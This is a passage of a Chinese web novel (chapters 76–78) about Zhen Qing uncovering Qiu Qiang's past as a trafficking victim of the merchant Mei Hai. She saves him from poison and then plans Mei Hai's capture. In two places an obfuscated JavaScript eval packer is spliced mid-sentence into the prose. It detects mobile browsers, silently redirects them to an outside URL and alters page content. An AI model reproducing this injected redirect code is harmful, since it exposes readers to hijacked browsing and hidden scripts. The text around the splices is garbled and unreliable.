本来这一争夺,势必要闹得一场腥风血雨,可是还没等人开始往下下套,渭州刺史便上表给符生枝说自己年岁已高,只想安度晚年,让他找个人接替自己所坐的刺史之位。 枕清不由对这个人多了几分惊奇的狐疑,不知道是他这人自己真的不想当这刺史,还是之前她在信件上故意提点的几字,从而引起了警惕的作用。 不过此人做事进退有度,甚至还能搭上禹王这根线,势力定然是不容小觑。早在之前她就已经问过禹王这渭州刺史是一个什么样的人,禹王却有嘲笑的意味:“是个纨绔的二流子,被逼到那个位置上去,竟还真有本事不掉下来。” 她也听过渭州刺史的事迹,据说是个运气极其好的人,所有的职位都是捡着上的,对于朝中或者是旁的,没有争来争去的劲,虽然人很风流,但是待家眷好友是极好的。 虽然她能倚靠渭州刺史行得便利,但这也不是禹王所给的面子,而是商震,商震与这渭州刺史有过命的交情,如今商震恢复自由,两人这么一拍即合,倒真是有养老的心思。 如此一来也是极好,不需要枕清来使什么手段和心机保全这位渭州刺史了,她心中松了一口气,却也没快哉多久,就又出了另一档子事。 有人来报,说仇羌全身颤抖,毫无血色,快要昏死过去,情况异常严重。 枕清神情大恸,当即唤了人前去医治,大夫说这是中了一种毒药,每月都需要服一定的解药,才能活,不然会七窍流血,痛苦而死。 而这几日便是要服用解药之时。 自那日之后,仇羌便已经被严加管控起来。 枕清最后的那句话——你究竟是想害他,还是想帮他? 没有听到任何回答的枕清没再去见过仇羌,而仇羌在那日后,也没有再开口讲任何一句话,就连你是怎么发现的都没询问过,仿佛认了命,却又不像是所想的那般模样。 每个人都有自己的角度和立场。 在上一世的枕清眼中,仇羌是个无关紧要的人,更是籍籍无名,所以她的脑海中从未有过这样的身影。 而她也几乎没有来过陇右,对于这边的局势分析并不透彻,对于仇羌这件事更是无从下手,她一而再再而三地叮嘱大夫,说一定要把人救活! 大夫听到此话,初听没觉得什么,只是这符生枝一直盯着他,眸色愈发浓重深沉,仿佛想说点什么,却又碍于旁人,只能闭口不言。 即使这样,那眼神也不禁令大夫汗如雨下,频频点头道:“老夫一定竭尽所能!一定竭尽所能!” 这件事一发生,似乎所有人的目光都落在了仇羌这边,卷柏不知道该如何应对,只能看着枕清。 枕清目光不由变得极浓,神情却没有像卷柏那般躁动。在此之前,她从来都没有发现过仇羌居然需要吃解药来维持自己的身体,所以上回的面色苍白不是因为练武急切,而是他的病快要发作了。 她忽然察觉自己好像能找到一点线索,梅海大概是仇羌的主人,因仇羌一直在她身边的缘故,所以梅海对她的一举一动都极为熟悉,就是不知道这梅海究竟是什么时候开始盯上自己的。 成婚那日,梅海给她的那份大礼,枕清只是轻轻一扫并没有仔细对照,可梅海既然知道这些事情,自然也会想到今日这样的状况。 枕清不自然地抬眸望着一处空荡的位置,旋即唤了一名青衣过来,让她把梅海所赠东西,登记在册的本子拿过来,枕清一一过目后,发现最后一行独独写了药字,她当即去库房对照地掀开匣盒,里面躺着已经制作成一枚小丹药,没有说其成分和功效。 青衣小心翼翼地看向枕清,枕清却把那药连盒拿了出来,转身回到仇羌屋子,递给大夫那大夫查看,直接问:“这个,他能不能吃?” 那位大夫定睛一看,神色从凝重变得从容,一拍大腿道:“可行!” 这位大夫是个聪明人,即使这药是枕清送过来的,她既没有问其中的来处,也不多话,一直勤勤恳恳地在仇羌的病床前医治。 枕清见得如此,恰也不喜欢这样的氛围,她又淹没在人群中,暗自退了出去。江诉跟在枕清的身后,并没有说话,他知道枕清的心绪复杂。 他们两人静静地走在长廊下,风微微吹拂过身旁,身旁的一切都变得清冽柔软。 枕清突然慢下脚步,面上没有笑意,却也没有悲苦,而是非常平静,她慢慢道:“江诉,你知道我为什么会知道梅海给我解药吗?” 江诉如实道:“我不知道。” 枕清笑:“我也不知道,但是我就是觉得他会把解药放在我这里。” 这句话,她没有说假,她也是真的是那么想的,更多的是她觉得梅海和她是一样的人,所以她不喜欢梅海看她的眼神,那样的眼神就好像在看着自己一般…… 这件事她从未与人说过,至于其它事情,那么只能等仇羌醒了再谈及。 仇羌醒来的时候,已是深夜,身旁只有依偎在床榻打瞌睡的卷柏,他微微动了动身子,却发现自己非常的疲惫,甚至连抬起手的力气都没有了。 毒都已经发作了,原本以为自己必死无疑,可是枕清依旧把他救活了。 真是厉害。 仇羌恍惚一笑,看向自己手中原本的蔓延生长的异色经脉已消失不见,便也知道自己身上的毒解了,再也不需要受这毒药的痛楚和折磨,也不必被他人所控制而在这世上苟活,他能完全当作一个正常的人。 他想要站起来,可是发现自己一点也动不了,好似每个地方都像是被拆卸下来了一样,他只能闭上双眸,曲起手指缓解这样的麻木。 细细簌簌的响动,让卷柏在警惕与惊疑中微微抬起脸,寻着声音的来处望去。 睡眼朦胧的样子落尽枕清的眼中。 枕清弯下腰,轻声道:“小卷柏,不要在这里睡,回屋子里去。” 卷柏的眼角还有几道泪痕,她的双腿因为长时间维持一个动作,血液不通,都已经变得麻木,她迷迷糊糊道:“北姐姐,大夫说仇羌明日就会醒来,我想看着他醒。你之前问过我知道谁是好人与坏人吗?我不知道,可是我思来想去,就是觉得仇羌是好人,你说你没有放弃仇羌,从你拿出药的那刻,我也确信!” 说话间,卷柏不禁越来越激动,方才迷离的目光逐渐变得清澈透亮,就好像是满身都发着光彩,这样的光照着千疮百孔、满目苍夷的枕清,枕清难得有些愣怔。 卷柏又笑道:“到时候你能不能听一听仇羌的解释?上回我听薄姐姐说,你告诉大都督你怀疑仇羌的时候,你先说了无论凶手是不是仇羌,大都督绝对不能干涉仇羌的性命,我就知道北姐姐是最好的人!” 果然是小孩子心性,看起来极为好哄,也是听什么就信什么。 枕清略微出神地提起嘴角,然后伸出手指挑起她的娇嫩漂亮的小脸,故意板起冷脸:“如果你不回房间睡觉的话,你的北姐姐便要从最好的人变成最坏的人了。” 卷柏笑眯眯,抱住枕清的臂膀道:“北姐姐,我知道你心中肯定也是相信仇羌的对吧?不然为什么你这几日都那么伤心呢?” 枕清迟疑:“我伤心吗?” 卷柏点头:“有的,你都不笑了。” 枕清说:“我是很伤心,如果有一天你发现我欺骗了你,你也会很伤心。” 卷柏摇头:“不 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枕清顺着卷柏的话道:“那世界上最幸福的小卷柏,现在要不要回去睡觉?” 卷柏点点头道:“好。” 见人终于肯回去了,枕清瞧了一眼床上的仇羌,听那道平坦的呼吸变得一轻一重,甚至带着几分急促,枕清微微挑了挑眉,难得清明了些,并没有与卷柏在这里过多说什么。 方才的那些话,能听见几分就几分,即使全部听见了也没关系。 江湖之人,最忌讳情谊。 如果仇羌能被卷柏的感情所打动,那么如何让仇羌开口就变得容易了许多,枕清把人带了出去,便看到站在门外的江诉。 他青衣竹冠,墨发半束,似月中踏来,卿尘脱俗。 满院子落下一片雪,而他站在雪景中,好似比这雪色更盛三分绝。 卷柏看了一眼两人,微微瘪嘴:“我自己回去,不耽误你们美好的夜晚。” 枕清拾级而下,问他:“你怎么也跟着出来了?” 江诉从善如流地走前扶助她下阶梯的动作,温声道:“不放心你。” 卷柏听到这话,牙齿都觉得在泛酸,她呵呵两声,小跑去了自己的屋子,没一会就出了两人的视线范围内。 江诉淡淡道:“你怎么知道她会来这里?” 枕清收回视线道:“你知道吗?像卷柏这样的小娘子,认为谁重要,她就会想要陪着那人。” 江诉说:“你看起来很苦恼。” 枕清回:“江诉,你会不会觉得我很坏?卷柏说我很好的时候,我会想反驳,仇羌这件事是我和符生枝说的,七年前符生枝父母惨死的事情你知道吗? “而这件事的手段却和七年前一模一样,我虽然有心隐瞒,却也没办法做到完全包庇,这么多年来,我自己一直都在渴求能给枕家一个清白,又怎么能在旁人身上,变成了隐瞒和包庇的罪魁祸首?” 江诉道:“你说了,这并没有错。” 枕清叹道:“可是,这始终不是我所愿见到的。” “或许有内情,等他醒了,再问问。” “他不愿意说,而我也没办法去逼问。”枕清抬眸望着漆黑的夜空,“江诉,我真的不知道该怎么走了,有时候我很想停下来歇一歇,可是这件事没有找到最终的结果,我便没办法停下来。仇羌若是有什么不得已的苦衷,我自然会帮他,只是怕他不愿意开口,到时候卷柏又要伤心。” 枕清看向仇羌那间已被关上门扉的屋子,微微侧身,好像是对江诉说的,又像是对屋内的仇羌:“那位叫梅海的商人,好似真的回河东去了。” 江诉几乎在下一刻就明白枕清这句话是对里边的仇羌说的,或许里面的人早已经醒来。 江诉只是轻轻扫了扫她肩头的落雪,微微一笑道:“走吧。” 76. 霜尽残潮荡月回(三) 翌日一早。 卷柏早早爬了起来,走进仇羌那间屋子。比她更早的是那位大夫,甚至还把了脉,对她说已经无碍了。 卷柏当即高兴了起来,动动仇羌的手臂,碰碰那张憔悴的脸,随后伸出食指点在他面颊上的两处小梨涡上。 仇羌旋即睁开了,与在他脸上玩得开心的卷柏四目相对。 那双深邃幽深倏地睁开,卷柏眼睛登时睁得极大,眨巴眨巴了好一会,先是掉进了这样深沉的目光之中,随后在那瞳孔内看到了自己愣怔的模样。 他们两人的距离贴得极近,能感知到微动的气息。 卷柏目光在他脸颊上流转,随后松开手,讪讪道:“你醒了啊,我都等你好久了。枕姐姐也等你好久了,你就不打算如实告诉她么?她会帮你的,枕姐姐也不是那么不分青红皂白的人,你究竟有什么难言之隐?” 仇羌只是嘲讽一笑:“卷柏,是你想的太简单了,人有情,有情便会有难处。” “可是枕姐姐也对你有情,你怎知她会帮别人,而不帮你?”卷柏从远处拿过一盏茶水喂到仇羌嘴边,将惨白的嘴唇润了色泽,不似所见那般苍白。 仇羌道:“她不会信我的。” “你怎么知道我不会信你?”枕清大步踏进来,裙摆随着她的动作犹如蝴蝶轻轻振翅,屋外的冬日暖阳并不猛烈,虚虚的日光犹如垂垂老矣的沧桑老者,一晃眼便要消失不见。 而枕清在仇羌心中,就如同这样的光。 她此话一出,屋内变得出奇安静,就连一根针落地都能听得清晰似的。 仇羌胸腔微微震颤,许多难以言说的事情好像有了一点点出口的迹象,可又哽咽在疑虑中。跟了枕清那么久,仇羌不至于一点心思都摸不清楚,可是他真的能去信任枕清吗? 良久后,卷柏的腿都站酸了,发觉两人居然还在对峙不下,于是她悄悄地松了松动作,坐在一旁的软垫上面,用余光瞥向两人,尽量降低自己的存在感。 可是这两人非但没有开口说话的意思,甚至还气定神闲般各自顾各自的,枕清倒是开始喝起了茶水,观赏窗外的景色。仇羌则是闭眼假寐,只有卷柏在这两人之间不上不下的,她正觉得是自己坐在这里碍眼,不方便两人谈话,正欲起身,却听仇羌先开了口。 仇羌:“你究竟是怎么发现的?” 枕清:“很多,就比如我成亲那日,你给他送了一把伞。” 枕清的眸光扫向他:“所以我不明白你究竟是恨他,还是想要帮他。说帮他,你这番动作倒也不尽然,说恨他,却又送他伞,着实是有些奇怪了。说说你的想法。” 仇羌斟酌道:“我和你的初见本就是一个意外,我知道你会坐上皇后的位置,因此我故意接近你,可是后来你去见了张宣晟,我才知道你与他有巨大的矛盾,所以在这一世里,你大抵是做不了皇后了,因此我在那日考虑究竟跟不跟你。可惜你给得实在太多,那我就想着赚到了钱,我便跑路。 “其实我原本是梅海手底下的一处教坊出身,被他所驱使,为他所用,可我随你来到陇右的时候,梅海突然找上了我,你一定不知道,他对我说了什么。” 仇羌只是打了一个很短暂的马虎眼,他又继续道:“梅海说他可以放我自由,他让我跟着你,他还说我跟了你之后,我不再属于是教坊里的人,而我完完全全只忠诚于你一人。所以他的解药留在了你这里。” 枕清听完,只是淡淡喝了一口茶水,轻声笑道:“你这话说得有误,第一,你既然是梅海底下的,那么你所做的事情势必是他知道的,且是他安排的,为何他到了陇右才找上你?说明在此之前,你本就成为了他的弃子。让我想想究竟是什么原因呢?因为你不是自愿入教坊,是被逼迫的,且在之后死里逃生,而你知道他对我还有薄家娘子十分看重,你便猜测到是因为枕家的缘故。 “这第二,你让我以为我在用我的饵料来引你,其实你本就是奔着我来的。目的是为了让梅海与你见面,所以你和我搭上的那一刻,你就放出消息,而梅海则是寻着味找了过来。这第三,你明明知道解药在我这里,你却不说,这是为何?如果我没发现,那么你是不是就会死去?” 仇羌突然嗬嗬地笑了出来,笑得泪花都进了出来他费力地抬起手掌道:“枕小娘子果真是聪明至极,我是有所隐瞒,可是这位梅海,对你的情谊是一点都不假,那句话也的的确确是他对我说的。” 枕清漫不经心道:“我不想听这些,我要你从头说起,比如如何去了梅海底下的教坊,又比如怎么逃出生天。你不敢对我说,不就是因为你觉得梅海对我极好,你怕我不忍心对他下手,是么?” “是。” 仇羌缓缓坐起身子,胸膛半敞,身上有大小不一的伤疤,既有鞭痕、也有烙铁,甚至还有烫伤的蜡油。在极其爱美的仇羌身上,无一不是刺眼的。 他开口道:“小时候因为家里穷,阿娘养不起我和阿姐,于是阿娘嫁给了村里的一个屠夫,以为这样就可以养活我们三人,但是那屠夫不是个好东西,整日动辄打骂我们三人,口中囔囔我们三个人都是赔钱货,还会在半夜拿起屠刀说要杀了我们。阿娘不免每每胆战心惊,甚至为了自保,把我和阿姐推到屠夫的跟前来,但是我们不怪她,毕竟我与阿姐的性命就是阿娘给的。 “可是我们也会怕死,也会怕疼,有一天阿姐说她受不了这样的日子,于是她逃走了,我也跟着一起跑了。我们两以为逃离了那个地方,就逃出了深恶痛绝的地狱。可惜,我们不知道我们正在踏入另外一个地狱。 “我随阿姐一路朝长安的方向走,却在那条路上被牙子哄骗拐走,之后见我与阿姐有几分姿色,我被卖入了教坊,阿姐却被卖进了花阁,我们念着,虽然很不幸运,但是好在教坊和花阁都是在梅海底下我与阿姐只要活着,便有机会能再次碰面,再次逃出生天。” 枕清回想到第一次见面,恍惚道:“所以第一次你与我的见面,你故意暴露出似男又似女的娇音,而这声音是教坊被逼练出来的吧?” 仇羌垂眸:“是。他们一直逼我承认我是一个女娘,让我去魅惑男人,可是我不能接受,于是姐姐一直花钱打点,也一直在帮我。” “她还活着么?” “死了。” 说到此处,仇羌眸色泛滥无尽的悲痛和憎恶。 他厌恶道:“那里根本不是人待的地方,日日.逼着女娘们去接客,倘若是接客少了,不给饭吃,藤条和皮鞭都是轻的,甚至还有钢针把他们折腾得死去活来,而接客接得多了,浑身都是病,皮肤溃烂。姐姐死的时候,身上没有一处好的地方,她躺在我怀中,说让我逃离这个地方。” 卷柏轻呼一声,震惊又心痛,她猛然捂住嘴,怯怯道:“可是,这里面没有好人吗?难道不是寻常恩客,拿钱办事。偶尔还有一些富家公子常去的......” 听到这话,仇羌轻蔑一笑,他嘲弄道:“你当那什么地方,会有达官显贵?皇亲贵胄?长衫折扇的清秀郎君?小卷柏,你怕是画本子看太多了吧,这些人哪里会去那样的地方?他们大可以买几个干净的来。来这里的人,大多都是兜里有几个钱的贩夫走卒,又脏又臭又粗野!” 卷柏当下只觉得自己被人当头一棒,脑子变得迟钝缓慢,枕清没有了原本的气定神闲,她目光定定地望着杯中的茶水,无论如何都喝不下去了。 仇羌以为自己能压住心中的情绪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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枕清:“但我知道这件事你没有骗我,况且,你也不知道枕家的仇人到底有谁,柳家知道吗?禹王知道吗?符家知道吗?秋家知道吗?先皇知道吗?” 一下子说了这么多个姓氏和人物,仇羌面露疑惑,他都听过,却不知道这些人与枕家那件事有关系还没琢磨回味过来,枕清又说:“我也会查清楚是不是有这回事,而你把七年前,以及柳家的那位小娘子如何死的,告诉我。” 仇羌当即道:“梅海找到我,让我把尸体带入都护府中,至于之后的事情都交给他,我原本想要把尸首放在符生枝所住的院子,但是我害怕被人发现,只好藏在你的院子里,而之后的事情,便不是我动手了,是梅海那边的人。他有很多死士,忠诚于他一人。所以杀他,很难。” 枕清轻蔑一笑,她微微挑眉道:“难么?” 仇羌突然顿了顿,不知道该如何开口,毕竟对于枕清而言,确实不在话下,上一辈子杀了禹王,提了圣上的头颅,而在前不久,甚至让王闻礼也死了。所以他才会选择枕清。 枕清当即站起身,深吸一口气道:“你觉得梅海会在哪里?” 仇羌道:“应当还没出陇右。” 枕清摇头:“就在庭州,掘地三尺,都要把人找出来。” 枕清抬步要走,又退了回来,笑盈盈朝仇羌道:“看在你如实说话的份上,送你两个人。” 在仇羌疑惑的神情中,仇羌突然看见两个近乎十年未曾见过的人,他面无喜色,只是静静看着越来越远的人影,和那两道越来越近的身形,忽然轻笑一声。 怪不得会信他,原来是早在之前就把他查得清清楚楚。 那一对翁媪面露惊疑,不敢往前,却也不能后退,最后期期艾艾地喊了一声:“儿啊。” 这声音中,饱含了委屈与无奈,他们不知道最后会落到怎样的地步,唯一能依靠的就是眼前的这个人,他们一声又一声的喊着儿郎,却又不敢靠近一步,但又似想唤起他最后一点的“良知”。 这两人不是他的阿娘和屠夫,还能是谁? 仇羌双目猩红,憎恶道:“滚!” 77. 霜尽残潮荡月回(四) 仇羌觉得这辈子最痛恨的人是阿娘和屠夫,可他回过头来想想,所有的一切好像都可以被轻巧揭过。他也曾抱有过幻想,如果没有逃出屠夫的家,如果没有走那条路,是不是一切都会变得不一样? 一切会不会都往好的地方走? 或许他的阿姐还活在这个世上,也许还有一个俊俏的郎君,乖巧的孩子,笑着喊他舅舅。 如果他重生的日子能在阿姐离家出走的那一天,在去往长安那条路的郊外,说不去了,不去了...... 也许能救下姐姐。 可惜,没有那么多如果。 仇羌痛苦地想着。 卷柏望着仇羌猩红的眸色,嘴角轻轻颤抖,她不知道仇羌背后蕴含这么大的悲痛,人生的第一课,是江诉交她的,知道人都有多面性,不可全信。 这人生的第二课,大概是她和陆佑善分离,天下没有不散的宴席。 这第三课,便是仇羌,原来看起来这么轻松肆意,不着调的人,居然能把悲伤隐藏得那么好,而她在这一刻,似乎和他感同身受。 那是巨大的悲伤与痛苦,好似一场漫长凛冽的冬雪,把所有的一切覆盖上白茫茫一片,就好像能藏住所有东西,只待寒冬过去,冰雪消融,一切露出原本的模样。 可这原本的模样,究竟是凛冬过后的新生,还是路有冻死骨的残骸。 卷柏缓缓蹲下身子,在不远处默默陪着仇羌,牧青站在门外,看着那两落荒而逃的老翁和老媪,不免深深叹了一口气,随后站在门外一言不发。 枕清已然走至很远,在不远处瞧了一眼这三个神色各异的人,心有无奈,却也无可奈何。她快步朝符生枝那边走去,不料被人阻挡住了脚步。 身前这人动作干脆利落,能看出是习武之人。她望见这人的面容,知道这个人是谁,镇定地瞧了一眼周围,脚步轻轻地跟在那人身后。 二人来到一处僻静的位置,还有一片小竹林掩饰身形。 枕清站在冬日的枯霜竹林中,脚底踩进软绵的雪地里,不出片刻,鞋子便已有湿濡的迹象。 待没有任何人的声音,那人这才敢明确看向枕清,随后猛地半跪,拱手道:“主上,阿之奎正和吐蕃秘密商议,隐隐有攻打陇右各州的意思!而且突厥也有所动作,怕是要被阿之奎一人策反,先是朝陇右动手!” 这人说话急迫,可见此情形焦灼。枕清眉梢微挑,眼尾垂下,伸出手拉着人起来。 她的手搭在那人的护甲上方,不仅坚硬还冰寒刺骨,枕清仿若未觉,可她的手用力一抬,发现这人居然纹丝不动...... 枕清面色难看,收回手道:“自己站起来,每每都要我来请你,算什么事?” “算你欠我!”占焰嘿嘿道,“你的师傅还在么?我好像听说他来庭州了,可别让他看到我了,不然我真的汗毛直竖!” 枕清不以为意:“不就被打过几次么,怕什么?” 她就知道这人正经不过一炷香的时间,不过她和占焰的渊源倒也挺深的,小时候一同生活在雷州,并不对付,而且他还是那个带头说她没有爷娘的坏小子。 不过后来嘛,都算是过去了。 反正在小时候枕清把他打趴下过,至于转机,是占焰知道枕清有回长安的打算,而占焰不想一直待在雷州,说要跟着她一起,在那时候枕清就起了有属于自己人的心思,从而答应。 就这么一答应,他们从认识和结盟竟然也快有十年了。街上的混球小子,一步步走到现如今的样子,确实算是大变样。 枕清收回自己的思绪,道:“你说这阿之奎为何要先朝陇右动手?究竟是因为想要借助吐蕃和突厥的力量,还是说他有其他想法和图谋?或许他能和吐蕃所结盟,可突厥却也未必,他要去突厥,必须要经过陇右这一带,说明一切都还有待商榷。” 占焰点点头道:“是我太心急了,不过没事,我先回来了,他们还在那边,不至于什么都不知道,必要时定能通风报信。” 枕清淡淡道:“不过你这次来得也凑巧,我正好有事想要找你商量。” 占焰如临大敌,总觉得枕清心怀鬼胎,他当即想抬腿就跑,枕清的声音在后边冷冷传来,堪比九寒天里的冰渣子。 “你若是敢跑,我就叫师傅打断你的腿!有胆量你尽可以试试,看看究竟是你先跑出这庭州,还是先断了条腿。” 占焰突然觉得自己落入一个虎口。 他讨好笑笑,十分有眼见力转个身,又重新站在枕清面前,先是谄媚,后慷慨激昂道:“何必要劳烦他老人家,你有什么事情直接吩咐就好,我占焰定当上刀山、下火海,就连刀尖舔血,登锋履刃,都义不容辞!更不在话下!” “倒也不至于,”枕清笑眯眯道,“就是帮我抓一个人。” 占焰拍了拍胸膛:“这简单,包在我身上!” “这人叫梅海,此人阴险狡诈,善用毒药。”枕清走出竹林,不紧不慢道,“而且身边暗藏的死士无数,可能一不留神,就命丧当场。” 占焰花容失色:“你这是让我送死?” 枕清面露无辜:“没有啊,就是提醒你一下这个敌人,毕竟知己知彼,百战不殆。” 说完甚至还给占焰打了一个鼓足勇气的动作。 占焰看到这样的动作,满头黑线,呃呃啊啊地如同傻子般说不出话。 这位梅海,他占焰又不是不知道,倘若要他生擒活拿,这般难度简直堪比登天! 还真是把他当成活神仙了? 想说的话被堵在喉咙中,占焰听到有人朝这边走去,他面色一变,当即跳上墙角,撑手翻墙跑出了府外。 在下一瞬,枕清看到走来的符生枝和薄映禾,眉梢微微一动,露出一抹笑:“这是怎么了?” 薄映禾看向身后那片竹林,雪地里映出两处大小不一的脚步,一深一浅,这小的一看就是枕清的,而这略深的,只能猜出大概是男子的脚步。 符生枝面露古怪和惊疑,枕清顺着他们两人的目光探去,枕清嘴角微不可察地抽搐,她装作耳聋眼瞎,径直先走出这块地方。 三人都只好心照不宣地略过此处。 枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665369|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清原本在面颊露出无辜的笑容,可当下这种感觉像是被打了一个巴掌,火辣辣地疼。而这一抹疼一直蔓延到江诉的出现,再看到江诉,这种感觉更盛,好像全身都是火热的。 而薄映禾与符生枝的别有深意的眼神中,枕清非常的不自在,好像她做了什么对江诉有愧的事情,不禁在心里把占焰骂了千百遍,他倒是跑得快,就留她一人尴尬,收拾残局! 江诉一进屋,薄映禾与符生枝心知肚明地看向江诉的靴子,虽说染上了水渍,可没有没过鞋面,甚至也没有沾染杂泥。 江诉是何等的察言观色他一眼就知道他们三人有古怪,甚至在朝他的靴子看去,顷刻间,他扫过那三人的鞋子,除了枕清的略脏,其余皆是完好。 他笑着走近枕清道:“走哪里去了,鞋袜有没有浸湿在里面?” 说罢他微微蹲下身子,枕清只觉得太阳穴突突地一跳,伸出手拉住打算躬下身子的江诉,也不知道是哪里来的力气,生生止住了江诉的动作。 她启唇道:“没事,方才去竹林了。” 薄映禾没有说话,符生枝这几日萎靡得厉害,好不容易有个调节情绪的突破口,颇有看热闹不嫌事大的意思,开口道:“是啊,我与映禾也一同去了,甚至看到两处大小不一致的脚步,就是不知道另一个人究竟是谁呢?” 大启虽说名分开放,但这有关名节的事情,谁也不敢胡乱编造。枕清心中本就没有愧疚,至于江诉,她自然清楚他完完全全地信任自己,于是冷笑看着符生枝道:“另一个人,他算是我朋友,也算是我的手下,符大都督一副看好戏的样子真是......打错了算盘。” “那他为什么要跑?” “他自觉长相丑陋见不得人,于是害怕,跑了。你究竟在怀疑什么?难道是我出现在你面前的时候衣衫不整了?还是说你觉得我有这般本事,上一瞬刚见了仇羌问话,在下一秒就能与人为伍?符大都督,有时候脑子是用来想的,不是拿来看的。” 枕清这一番话下来,薄映禾遂放下心,符生枝倒是无所谓,反正脸皮够,不过江诉却是笑笑,在她耳畔小声耳语:“我信你,鞋袜当真没湿么?” 她身体冰寒,就连脚也冻得跟冰块似的,即使真的湿进去了,枕清也没什么感觉,她摇摇头。 江诉颔首。 只听枕清开始把今日仇羌与他所说的略微精简一些,又跟符生枝和薄映禾又说了一遍。 符生枝面色虽说是平静,看拧起的眉看出他的担忧。毕竟薄映禾和枕清这两姐妹还收了这位梅海好一份大礼,毕竟吃人的手软,拿人的嘴短。 甚至还和枕家有所瓜葛,怕是会手下留情。 不料薄映禾面色如常道:“该怎么办就怎么办,只要没出了陇右,是杀是剐,都由我们说了算。” 枕清发觉薄映和与自己想到一处去了,“没错,定让他无法逃出生天。” 薄映禾与枕清两人相互对视一眼,便已经有一拍即合的意思,枕清故意坏笑道:“姊姊,既然他如此在乎枕家,我有一计!” 薄映禾心领神会。 78. 霜尽残潮荡月回(五) 符生枝与江诉相互对视一眼,就知道各自的小娘子在心里打定了某种主意和决心,甚至都不需要他们两个大男人开口说什么。 这时候却是符生枝忍不住试探地问道:“你怎么就敢确定这位梅海就是凶手?或许是仇羌说了谎呢?” 枕清知道符生枝的心思,他们二人互相对看的时候,符生枝也没表露出自己被发现后的不自在,甚至迎着枕清审视的目光微笑。 枕清也跟着笑道:“我早在之前就已经将仇羌的身世查得清清楚楚,至于梅海么,现在不是已经让应小娘子再次去查了么?而且谁会编造出这样的谎话来骗我,就是为了取得我信任? “敢问都督,在七年前,梅海是不是来过?而仇羌并未来过陇右,因此能洗脱嫌疑,而这次梅海一来,却又旧事复发,这明明就是警醒你。当初是铲除符家的绝好时机,你凭什么觉得那人只杀你爷娘,而不杀你?是你长得帅还是因为你当时的年纪真的太小?” 说及此处,枕清恰似想到了什么,淡淡一笑道:“仇人不会因为你年岁太小而不杀你,他之所以不杀你,自然是因为有什么缘故阻止了他的动作,而能阻止他的那个人,我不信你不知道。” 说完,枕清目光幽深地看向薄映禾,薄映禾是多么聪敏的人,早在枕清开口前就已经把所有事情都想明白,而这所有的事情太过巧合。 现下的无声胜过有声。 符生枝回想当初,的确是因为有薄应禾的存在,一切都在慢慢变好,起初觉得是因为薄映禾的能力过于强悍,可是对手那么厉害,他们一两个新出茅庐的小子,怎么可能抵抗得了那人,只能说那人的确是手下留情了。 而薄映禾的出现,救了他的性命。 “多谢你夸我长得帅。”符生枝虽然不是第一次知道枕清这般精明算计,他笑着点点枕清,朝薄映禾控诉,又道:“你瞧瞧,这张嘴真是巧舌如簧,话里话外,都在指明我要谢谢你这个福星了。” 枕清嘴角弯起,轻轻哼了一声道:“难道不是么?遇上姊姊,是你几辈子修来的福分。” 符生枝:“是啊,就是不知道来听遇到你,究竟是他的福还是他的孽。” 这话说得揶揄,枕清轻轻瞟了瞟江诉,江诉的目光轻轻地落在自己身上,枕清被这样的神情注视着,好像突然有一股底气,她十分坦然道:“无论是福泽还是孽缘,他都必须受着。” 江诉听罢,则是看向枕清,笑道:“自然是福泽,天赐的福泽。” 枕清满意一笑,转身走了出去,却被江诉拉住了手,枕清脚步微顿,顺着江诉手中的动作跟着他去了隔壁的偏院。 她心中有疑,却又不知他所思所想,于是挑了个自以为江诉最想知道的事,语气十分平常,如同谈论天气一般:“那个人只是我儿时的玩伴,他叫占焰,今天来就是为了和我说吐鲁番和阿之奎有联盟的举动,我怕别人发现,我不想在外人面前暴露他的身份......” “我知道,我信你。”江诉费了点力气把枕清按在床榻上,然后蹲下身,清秀漂亮的手腕搭在她的脚腕骨上。 几乎是在顷刻间,枕清觉得脚边似有风来过,她垂下目光,看到自己的脚就在江诉的手中,白色的鞋袜有深深湿濡的痕迹,随后被江诉脱掉了。 枕清耳廓一热,她要将腿伸回去,却被江诉桎梏了动作,她觉得自己脚底随着江诉手掌的温度传来,开始变得燥热,一直蔓延到面颊,心中仿佛有无数痒痒难耐的东西在窜动,让她的心不停地跳动。 她小声质问道:“你要干什么?” 江诉整个人半蹲在她身前,而她坐在床榻之上,待江诉一抬视线,那张隽秀的脸庞倏地落进枕清的目光中,枕清旋即愣怔,看着江诉那样动人的神情,好像自己在被仰望注视,心率加速,而表面自然的镇定仿佛被江诉看穿。 她目光继续下垂,落在自己的脚踝上,看着自己极其白皙的脚与江诉因用力出现的绯色的骨节相互照映,好像冬日里雪地的红梅。 这雪水入袜极深,江诉知道枕清从一开始就在骗自己,于是只好自己把人抓过来,换上新的鞋袜。 “你身子骨这般不好,全身又都是寒气,自然要护得更好一些。”江诉没有责怪枕清方才的隐瞒,而是拿过青衣备好的鞋袜替枕清穿上。 枕清颇为不自在,只好看向别处,漫不经意道:“你怎么知道我骗了你。” 江诉问:“这需要怎么知道?” “我也不清楚。”枕清迷迷糊糊道,“我还以为你会说我呢,我其实不是有意的,我只是觉得反正全身都是冷的,那么有没有浸水都是一样的冷,便也无所谓了。” 江诉缓缓站起身,手搭在枕清的双肩上,将人推进床榻中间,枕清大惊失色,江诉弯唇道:“所以,下次如果再被我发现,我就......” 说到此处,江诉的话顿了顿,枕清则是笑着问:“你就怎么样?” 江诉看到枕清布满狡黠的双眸,在她脑门轻轻敲了一下,声音略低:“我也不知道,舍不得你受伤、痛苦、难过,所以枕清,你能不能多想一想自己,也想一想我,我想与你长相守,共白头。” 长相守、共白头。 这是多么遥远的词语。 百草堂的老者说以她这样的身体,能活到三十岁都是难说的。这件事只有禹王与她知道,看这样的情形,就是不知道江诉知不知道,好像是知道,又好像是没有。 